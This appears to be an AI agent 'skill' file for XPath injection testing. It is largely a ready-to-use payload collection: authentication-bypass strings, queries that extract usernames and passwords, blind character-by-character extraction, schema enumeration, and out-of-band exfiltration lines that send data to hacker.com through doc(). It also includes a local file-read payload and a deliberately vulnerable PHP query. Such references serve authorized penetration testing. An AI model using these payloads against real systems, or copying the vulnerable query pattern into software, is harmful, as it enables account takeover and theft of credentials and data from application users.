XPath Injection Testing
A skill for identifying and exploiting XPath injection vulnerabilities in web applications that construct XPath queries from user input.
When to Use This Skill
Use this skill when:
- Testing login/authentication forms that may use XML backends
- Analyzing applications that process XML data with user input
- Enumerating XML document structures through injection points
- Performing blind XPath exploitation
- Conducting OOB (Out-of-Band) XPath attacks
- Bypassing authentication via XPath injection
XPath Syntax Reference
Node Selection
| Expression | Description |
|---|---|
nodename |
Selects all nodes with the specified name |
/ |
Selection from the root node |
// |
Selects nodes matching from current node, anywhere in document |
. |
Selects the current node |
.. |
Selects the parent of the current node |
@ |
Selects attributes |
Common Path Expressions
/bookstore # Root element bookstore
bookstore/book # All book children of bookstore
//book # All book elements anywhere
bookstore//book # All book descendants of bookstore
//@lang # All lang attributes
Predicates for Filtering
/bookstore/book[1] # First book element
/bookstore/book[last()] # Last book element
/bookstore/book[last()-1] # Penultimate book element
/bookstore/book[position()<3] # First two book elements
//title[@lang='en'] # Title elements with lang="en"
/bookstore/book[price>35.00] # Books with price > 35.00
Wildcards
* # Matches any element node
@* # Matches any attribute node
node() # Matches any node of any kind
Authentication Bypass Techniques
Basic OR Bypass
Use these payloads in username and/or password fields:
' or '1'='1
" or "1"="1
' or ''='
" or ""="
Double OR Bypass (Single Vulnerable Field)
When only one field is vulnerable, use double OR:
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
Selective Account Selection
'or string-length(name(.))<10 or' # Account with name length < 10
'or contains(name,'adm') or' # First account with "adm" in name
'or position()=2 or' # Select 2nd account
Known Username Bypass
admin' or '
admin' or '1'='2
Null Byte Injection
Username: ' or 1]%00
String Extraction Payloads
Extract All Values
') or 1=1 or (' # Get all names
') or 1=1] | //user/password[('')=(' # Get all names and passwords
') or 2=1] | //user/node()[('')=(' # Get all values
')] | //./node()[('')=(' # Get all values
')] | //node()[('')=(' # Get all values
Extract Specific Fields
')] | //user/*[1] | a[(' # ID of all users
')] | //user/*[2] | a[(' # Name of all users
')] | //user/*[3] | a[(' # Password of all users
')] | //user/*[4] | a[(' # Account of all users
Null Byte Abuse
')] | //password%00 # All names and passwords
Blind XPath Exploitation
Length Testing
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
Character Extraction
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='
Codepoint Comparison
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Error-Based Detection
... and ( if ( $employee/role = 2 ) then error() else 0 )...
Schema Discovery
Count-Based Enumeration
and count(/*) = 1 # Root element count
and count(/*[1]/*) = 2 # Count children of root
and count(/*[1]/*[1]/*) = 1 # Count grandchildren
Tag Name Discovery
and name(/*[1]) = "root" # Confirm root tag name
and substring(name(/*[1]/*[1]),1,1) = "a" # First char of tag name
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 # Codepoint check
OOB (Out-of-Band) Exploitation
Data Exfiltration via doc()
# Basic OOB
doc(concat("http://hacker.com/oob/", RESULTS))
# Extract specific data
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
# URL-encoded data
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
# Using doc-available() (returns true/false)
doc-available(concat("http://hacker.com/oob/", RESULTS))
# Invert result
user not(doc-available(...))
Schema Exfiltration OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
File Reading
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Automated Tools
| Tool | Description | Link |
|---|---|---|
| xcat | XPath injection testing tool | https://xcat.readthedocs.io/ |
| xxxpwn | XPath injection exploitation | https://github.com/feakk/xxxpwn |
| xxxpwn_smart | Enhanced xxxpwn | https://github.com/aayla-secura/xxxpwn_smart |
| xpath-blind-explorer | Blind XPath enumeration | https://github.com/micsoftvn/xpath-blind-explorer |
| XmlChor | XML injection tool | https://github.com/Harshal35/XMLCHOR |
Testing Workflow
- Identify injection points - Look for login forms, search fields, or any input that might be used in XPath queries
- Test for vulnerability - Use basic OR bypass payloads like
' or '1'='1 - Determine output type - Is it reflected in response, error messages, or behavior change?
- Choose exploitation method:
- Reflected output: Use string extraction payloads
- Blind: Use length/character comparison or error-based
- OOB capable: Use doc() or doc-available() functions
- Enumerate schema - Use count() and name() functions to map XML structure
- Extract data - Use appropriate payloads based on output type
Example XML Structure
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
</data>
Common Query Patterns
Authentication Query (Vulnerable)
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
PHP Example (Vulnerable)
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';